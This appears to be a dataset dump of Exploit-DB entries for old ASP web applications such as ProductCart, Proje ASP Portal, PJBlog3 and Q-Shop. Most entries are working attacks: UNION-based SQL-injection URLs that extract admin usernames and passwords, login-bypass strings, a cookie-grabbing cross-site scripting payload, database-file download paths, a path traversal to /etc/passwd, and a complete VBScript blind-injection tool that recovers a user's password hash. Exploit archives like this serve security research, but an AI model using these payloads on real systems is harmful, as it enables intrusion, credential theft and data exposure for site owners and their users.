deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22868
Description: ProductCart 1.5/1.6/2.0 - File Disclosure
Type: webapps
Platform: asp
Date: 2003-07-05
Author: Tri Huynh

Exploit:
source: https://www.securityfocus.com/bid/8112/info

A vulnerability has been reported for ProductCart that may result in an attacker obtaining the contents of the database file.

http://victimhost/productcart/database/EIPC.mdb
Exploit-DB #23703
Description: ProductCart 1.x/2.x - 'advSearch_h.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2004-02-16
Author: Nick Gudov

Exploit:
source: https://www.securityfocus.com/bid/9669/info
 
EarlyImpact ProductCart is reportedly prone to multiple vulnerabilities. The specific issues include SQL injection, cross-site scripting and cryptographic weaknesses. These issues could expose sensitive data such as user credentials and allow for execution of hostile script code and HTML. These issues could allow for full compromise of the software.

http://www.example.com/productcart/pc/advSearch_h.asp?idcategory=0&idSupplier=10&customfield=0&priceUntil=999;in--sert%20into%20admins%20(idadmin,%20adminpassword,%20adminlevel
+)%20s--elect%20lastName,%20password,%20name%20from%20customers%20where%20zip=987654;s--elect%20*%20from%20products%20where%201=1&Submit.y=13&priceFrom=0&sku=&keyWord=dark&I
+DBrand=0&resultCnt=200&Submit.x=33&
Exploit-DB #23704
Description: ProductCart 1.x/2.x - 'Custva.asp?redirectUrl' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-02-16
Author: Nick Gudov

Exploit:
source: https://www.securityfocus.com/bid/9669/info
  
EarlyImpact ProductCart is reportedly prone to multiple vulnerabilities. The specific issues include SQL injection, cross-site scripting and cryptographic weaknesses. These issues could expose sensitive data such as user credentials and allow for execution of hostile script code and HTML. These issues could allow for full compromise of the software.

http://www.example.com/productcart/pc/Custva.asp?redirectUrl="><script>alert(document.cookie)</script><"
Exploit-DB #23702
Description: ProductCart 1.x/2.x - Weak Cryptography
Type: webapps
Platform: asp
Date: 2004-02-16
Author: Nick Gudov

Exploit:
source: https://www.securityfocus.com/bid/9669/info

EarlyImpact ProductCart is reportedly prone to multiple vulnerabilities. The specific issues include SQL injection, cross-site scripting and cryptographic weaknesses. These issues could expose sensitive data such as user credentials and allow for execution of hostile script code and HTML. These issues could allow for full compromise of the software.

An attacker register new customer in store. Let the value of 'First
Name' field in registration form will be equal to
'1*2*3*4*5*6*7*8*9*10*', the value of 'Last Name ' field will be equal
to '34567', the value of 'Password' field will be equal to '111' and the
value of 'Postal Code' field will be equal to '987654'.
Exploit-DB #7390
Description: Professional Download Assistant 0.1 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-12-09
Author: ZoRLu

Exploit:
[~] Professional Download Assistant 0.1 Bypass
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Date: 08/12/2008
[~]
[~] N0T: TUM iSLAM ALEMiNiN BAYRAMINI KUTLARIM...!
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------

exp for demo: 

http://www.dotnetindex.com/demos/prodownloadmanager/admin/

user: ZoRLu

passwd: ' or '

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-09]
Exploit-DB #7371
Description: Professional Download Assistant 0.1 - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-07
Author: Ghost Hacker

Exploit:
####################################################################################################
# Professional Download Assistant (downloads.mdb) Database Disclosure Vulnerability                #
# Â© Ghost Hacker - REAL-H.COM                                                                      #
####################################################################################################
#[~] Author : Ghost Hacker                                                                         #
#[~] Homepage : http://Real-h.com                                                                  #
#[~] Contact Me : Ghost-r00t[at]Hotmail[dot]com                                                    #
#[~] Bug : Database Disclosure                                                                     #
#[~] Name Script : Professional Download Assistant                                                 #
#[~] Download : http://www.dotnetindex.com/downloads/easy_download_getinfo.asp?id=8                #
####################################################################################################
#[~]Exploit                                                                                        #
# http://xxxx.com/[path]/database/downloads.mdb                                                    #
##################################### ###############################################################
#[~]Greets :                                                                                       #
# Mr.SaFa7 [v4-team.com] , All Members Real-h.com and v4-team.net , All My Friends (3ed mobark)    #
####################################################################################################

# milw0rm.com [2008-12-07]
Exploit-DB #32653
Description: Professional Download Assistant 0.1 - SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-09
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/32706/info

Professional Download Assistant is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Professional Download Assistant 0.1 is vulnerable; other versions may be affected as well. 

The following example is available:

user: ZoRLu
password: ' or '
Exploit-DB #31860
Description: Proje ASP Portal 2.0 - 'id' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2008-05-29
Author: Ugurcan Engin

Exploit:
source: https://www.securityfocus.com/bid/29427/info

Proje ASP Portal is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Proje ASP Portal 2.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/portal/yonetici/sayfalar.asp?islem=menuduzenle&id=3+union+select+0,kadi,sifre,3,4,5,6+from+uyeler
http://www.example.com/portal/yonetici/bloklar.asp?islem=bloklar&id=1+union+select+0,sifre,kadi,null,4,5+from+uyeler
http://www.example.com/portal/yonetici/chat.asp?islem=chat&id=1+union+select+0,sifre+from+uyeler
http://www.example.com/portal/yonetici/dostsiteler.asp?islem=dost&id=8+union+select+0,kadi,2,sifre+from+uyeler
http://www.example.com/portal/yonetici/dosya.asp?islem=dosyakategorisiduzenle&id=1+union+select+0,sifre,2,3+from+uyeler
http://www.example.com/portal/yonetici/dosya.asp?islem=dosyakategorisiduzenle&id=1+union+select+0,kadi,2,3+from+uyeler
http://www.example.com/portal/yonetici/haber.asp?islem=haber&id=1+union+select+0,1,2,kadi,sifre,5,6,7,8,9+from+uyeler
http://www.example.com/portal/yonetici/ilan.asp?islem=ilankategorisiduzenle&id=1+union+select+0,sifre,2,3+from+uyeler
http://www.example.com/portal/yonetici/oyun.asp?islem=oyunkategorisiduzenle&id=1+union+select+0,kadi+from+uyeler
http://www.example.com/portal/yonetici/oyun.asp?islem=oyunkategorisiduzenle&id=1+union+select+0,sifre+from+uyeler
http://www.example.com/portal/yonetici/resim.asp?islem=resimkategorisiduzenle&id=1+union+select+0,sifre+from+uyeler
http://www.example.com/portal/yonetici/resim.asp?islem=resimkategorisiduzenle&id=1+union+select+0,kadi+from+uyeler
http://www.example.com/portal/yonetici/toplist.asp?islem=toplistkategoriduzenle&id=1+union+select+0,sifre+from+uyeler
http://www.example.com/portal/yonetici/toplist.asp?islem=toplistkategoriduzenle&id=1+union+select+0,kadi+from+uyeler
http://www.example.com/portal/yonetici/video.asp?islem=videokategorisiduzenle&id=1+union+select+0,sifre+from+uyeler
http://www.example.com/portal/yonetici/video.asp?islem=videokategorisiduzenle&id=1+union+select+0,kadi+from+uyeler
http://www.example.com/portal/yonetici/yazi.asp?islem=yazialtkategoriduzenle&id=1+union+select+0,sifre,2,3+from+uyeler
http://www.example.com/portal/yonetici/yazi.asp?islem=yazialtkategoriduzenle&id=1+union+select+0,kadi,2,3+from+uyeler
http://www.example.com/portal/yonetici/uyeler.asp?islem=uyebilgi&id=1+union+select+0,1,2,3,4,sifre,kadi,7,8,1,1,1,1,1,1,9,1,0,1,1,1,1,1,1+from+uyeler
Exploit-DB #26932
Description: ProjectApp 3.3 - 'cat.asp?keywords' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16011/info
  
ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/cat.asp?keywords=[XSS]
Exploit-DB #26936
Description: ProjectApp 3.3 - 'default.asp?skin_number' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16011/info
      
ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/default.asp?skin_number=[XSS]
Exploit-DB #26930
Description: ProjectApp 3.3 - 'forums.asp?keywords' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16011/info

ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forums.asp?keywords=[XSS]
Exploit-DB #26935
Description: ProjectApp 3.3 - 'login.asp?ret_page' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16011/info
     
ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/login.asp?ret_page=[XSS]
Exploit-DB #26934
Description: ProjectApp 3.3 - 'pmprojects.asp?projectid' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16011/info
    
ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/pmprojects.asp?projectid=[XSS]
Exploit-DB #26931
Description: ProjectApp 3.3 - 'search_employees.asp?keywords' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16011/info
 
ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/search_employees.asp?keywords=[XSS]
Exploit-DB #2774
Description: Property Pro 1.0 - 'vir_Login.asp' Remote Authentication Bypass
Type: webapps
Platform: asp
Date: 2006-11-13
Author: ajann

Exploit:
*******************************************************************************
# Title  :  Property Pro v1.0 (vir_Login.asp) Remote Login ByPass SQL Injection Vulnerability
# Author :   ajann

*******************************************************************************
Example:

###http://[target]/[path]/admin/

UserName: ' union select 0,0 from admin


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-13]
Exploit-DB #1873
Description: ProPublish 2.0 - 'catid' SQL Injection
Type: webapps
Platform: asp
Date: 2006-06-03
Author: FarhadKey

Exploit:
# ProPublish 2.0 (catid) Remote SQL Injection Vulnerability
# Thanks to soot : http://www.securityfocus.com/archive/1/435787/30/0/threaded
# Exploited by FarhadKey from kapda.ir

Exploit :
http://[site]/[propublish]/cat.php?catid=-1%20union%20select%201,1,email,1,1,null,1,password,9%20from%20author_news%20/*&catname=CTE

# milw0rm.com [2006-06-03]
Exploit-DB #30571
Description: Proxy Anket 3.0.1 - 'anket.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-09-10
Author: Yollubunlar.Org

Exploit:
source: https://www.securityfocus.com/bid/25613/info

Proxy Anket is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects Proxy Anket 3.0.1; other versions may also be vulnerable.

http://www.example.com/anketv3/anket.asp?islem=oyla&id=1+union+select+0,1,username,3+from+admin
http://www.example.com/anketv3/anket.asp?islem=oyla&id=1+union+select+0,1,password,3+from+admin
Exploit-DB #9904
Description: PSArt 1.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2009-10-30
Author: Securitylab Research

Exploit:
########################## Securitylab.ir ########################
# Application Info:
# Name: PSArt
# Version: 1.2
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# http://site.com/kxfzg/news.asp?id=128%20and%201=2%20union%20select%201,username,3,4,5,6,7,password,9%20from%20admin
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################
Exploit-DB #10770
Description: PSnews - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : PSnews DB Download Vulnerability                                        |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : PSnews - Copyright (C) 2003 Rich Kavanagh                               |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : DB                                                                      | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/PSnews/PSnews_th3_d4t4b453.mdb
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * Redda * Mourad (dgsn.dz) * 
-------------------------------------------------------------------------------------------
Exploit-DB #3831
Description: PStruh-CZ 1.3/1.5 - 'download.asp' File Disclosure
Type: webapps
Platform: asp
Date: 2007-05-02
Author: Dj7xpl

Exploit:
          /*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*\
          |*                                                                                                 *|
          |*                                    Y! Underground Group                                         *|
          |*                                                                                                 *|
          \*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*/

          /*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*\
             Portal.....:   PStruh-CZ 1.3&1.5
             Type.......:   Remote File Disclosure Vulnerability
             Author.....:   Dj7xpl / dj7xpl@2600.ir
             HomePage...:   http://Dj7xpl.2600.ir
          \*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*/


          /*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*\
             Bug........:

	     download.asp?File=[File Path]&PT=[PostFix]
             download.asp?File=../../../../etc/passwd&pt=zip
          \*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*/

# milw0rm.com [2007-05-02]
Exploit-DB #32953
Description: PuterJam's Blog PJBlog3 3.0.6 - 'action.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2009-04-24
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/34701/info

PJBlog3 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

If WScript.Arguments.Count <> 2 Then
        WScript.Echo "Usage: Cscript.exe Exp.vbs ........ ......."
        WScript.Echo "Example: Cscript.exe Exp.vbs http://www.pjhome.net puterjam"
        WScript.Quit
End If

attackUrl = WScript.Arguments(0)
attackUser = WScript.Arguments(1)
attackUrl = Replace(attackUrl,"\","/")
If Right(attackUrl , 1) <> "/" Then
        attackUrl = attackUrl & "/"
End If
SHA1Charset = "[PII_REDACTED]ABCDEFJ"
strHoleUrl = attackUrl & "action.asp?action=checkAlias&cname=0kee"""

If IsSuccess(strHoleUrl & "or ""1""=""1") And Not IsSuccess(strHoleUrl & "and ""1""=""2") Then
        WScript.Echo "......."
Else
        WScript.Echo "......."
        WScript.Quit
End If

For n=1 To 40
        For i=1 To 17
                strInject = strHoleUrl & " Or 0<(Select Count(*) From blog_member Where mem_name='" & attackUser & "' And mem_password>='" & strResult & Mid(SHA1Charset, i, 1) & "') And ""1""=""1"
                If Not IsSuccess(strInject) Then
                        strResult = strResult & Mid(SHA1Charset, i-1, 1)
                        Exit For
                End If
                strPrint = chr(13) & "Password(SHA1): " & strResult & Mid(SHA1Charset, i, 1)
                WScript.StdOut.Write strPrint
        Next
Next
WScript.Echo Chr(13) & Chr (10) & "Done!"

Function PostData(PostUrl)
	Dim Http
	Set Http = CreateObject("msxml2.serverXMLHTTP")
	With Http
		.Open "GET",PostUrl,False
		.Send ()
		PostData = .ResponseBody
	End With
	Set Http = Nothing
	PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
	Dim strReturn
	Dim I, ThisCharCode, NextCharCode
	strReturn = ""
	For I = 1 To LenB(vIn)
		ThisCharCode = AscB(MidB(vIn, I, 1))
		If ThisCharCode < &H80 Then
			strReturn = strReturn & Chr(ThisCharCode)
		Else
			NextCharCode = AscB(MidB(vIn, I + 1, 1))
			strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
			I = I + 1
		End If
	Next
	bytes2BSTR = strReturn
End Function

Function IsSuccess(PostUrl)

strData = PostData(PostUrl)
'Wscript.Echo strData
if InStr(strData,"check_error") >0 then
        IsSuccess = True
Else
        IsSuccess = False
End If
'Wscript.Sleep 500 '.......
End Function
Exploit-DB #24049
Description: PW New Media Network Modular Site Management System 0.2.1 - 'Ver.asp' Information Disclosure
Type: webapps
Platform: asp
Date: 2004-04-23
Author: CyberTalon

Exploit:
source: https://www.securityfocus.com/bid/10208/info

It has been reported that Modular Site Management System may be prone to an information disclosure issue that could allow an attacker to gain access to a server's configuration information.

MSMS version 0.2.1 is reported to be affected by this issue, however, it is possible that other versions are vulnerable as well.

http://www.example.com/msms/ver.asp
Exploit-DB #2384
Description: Q-Shop 3.5 - 'browse.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-09-17
Author: ajann

Exploit:
Vulnerability Report
*******************************************************************************
# Title  :  Q-Shop v3.5(browse.asp) Remote SQL Injection Vulnerability

# Author :   ajann

# Script Page : http://quadcomm.com

# Exploit;

*******************************************************************************

###http://[target]/[path]/browse.asp?cat=42&ManuID=&OrderBy=[SQL HERE]

Example:
browse.asp?cat=42&ManuID=&OrderBy=1%20union%20select%200,mail,0,pwd,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20users

# ajann,Turkey
# ...

# milw0rm.com [2006-09-17]
Exploit-DB #1833
Description: qjForum - 'member.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-05-26
Author: ajann

Exploit:
# Title  :   qjForum(member.asp) SQL Injection Vulnerability
# Author :   ajann
# greetz :   Nukedx,TheHacker
# Dork   :   "qjForum"
# Exploit:

# Login before injection.

### http://target/[path]/member.asp?uName='union%20select%200,0,0,username,0,0,pd,email,0,0,0,0,0,0,0,0,0,0,0,0%20from%20member

# milw0rm.com [2006-05-26]